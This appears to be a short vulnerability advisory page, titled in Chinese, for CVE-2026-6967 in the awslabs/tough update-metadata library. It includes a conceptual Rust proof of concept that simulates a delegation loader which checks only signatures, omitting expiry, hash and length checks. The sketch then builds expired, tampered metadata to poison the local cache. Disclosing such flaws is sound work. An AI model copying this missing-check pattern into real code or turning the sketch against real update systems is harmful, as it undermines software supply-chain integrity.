CVE-2026-6967 awslabs/tough元数据验证绕过漏洞

// Conceptual PoC for CVE-2026-6967 // This demonstrates the logic flaw in load_delegations where expiration and hashes are not checked. // Vulnerable function simulation (simplified) fn load_delegations_vulnerable(metadata: &DelegatedMetadata) -> Result<(), Error> { // 1. Check signature (Present in vulnerable code) if !verify_signature(&metadata.signature) { return Err(Error::InvalidSignature); } // VULNERABILITY: The following checks are MISSING in versions < tough-v0.22.0 // if metadata.expires < now() { return Err(Error::Expired); } // if !verify_hashes(&metadata.files) { return Err(Error::HashMismatch); } // if !verify_lengths(&metadata.files) { return Err(Error::LengthMismatch); } // 2. Poison local cache cache_metadata(metadata)?; Ok(()) } // Attacker usage fn main() { let malicious_metadata = DelegatedMetadata { signature: generate_valid_signature(), // Attacker has delegated authority expires: Timestamp::past(), // Expired, but not checked! files: vec![tampered_file()], // Wrong hash, but not checked! }; // This would succeed in the vulnerable version let _ = load_delegations_vulnerable(&malicious_metadata); }